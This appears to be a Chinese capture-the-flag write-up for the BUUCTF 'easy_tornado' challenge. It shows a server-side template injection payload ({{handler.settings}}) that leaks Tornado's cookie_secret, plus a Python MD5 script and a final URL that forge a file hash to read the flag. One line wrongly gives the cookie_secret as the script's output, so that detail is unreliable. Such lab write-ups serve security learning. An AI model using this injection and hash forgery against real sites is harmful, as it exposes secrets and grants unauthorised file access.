buuctf-web easy_tornado 1

当我们打开网页的时候,看见了

 那我们都来查看一下吧。

 

 

 通过第一个条件我们得知,flag是存放在里的。

而第二个条件说的render,它其实是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

而我们在hints里面看到的这个条件,猜测是需要构造file?filename=/fllllllllllllag.txt&filehash=?这个的。

filehash后面的值是多少,首先我们得知道cookie_secret,把它找出来 ,就可以了。

那我自己拼接了一个,结果就输出了这个‘

 这个其实就是一个注入点,这个就利用到了第二个条件了,需要模板注入。/error?msg={{handler.settings}}

惊奇的发现了,cookie_secret

 那既然cookie_secret出来了,再根据以上条件,编写一个python脚本将最后filename的hash值给找出来:

import hashlib

 
def md5value(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()

 
def encode(): 
    filename = '/fllllllllllllag'
    cookie_s ="26c5d178-38d8-4123-b5c8-3bfc2cff0903"
    print(md5value(filename.encode('utf-8')))
    x=md5value(filename.encode('utf-8'))
    y=cookie_s+x
    print(md5value(y.encode('utf-8')))
 
 
encode()

跑一下这个脚本,最后得到了26c5d178-38d8-4123-b5c8-3bfc2cff0903

构造最终脚本:

http://04f10c8d-3e96-47ef-8b81-4be5a82e672b.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=de81fb1e6414ae515857757e315fb520

这样便可以拿到flag

原文地址:https://www.cnblogs.com/awsole/p/13820109.html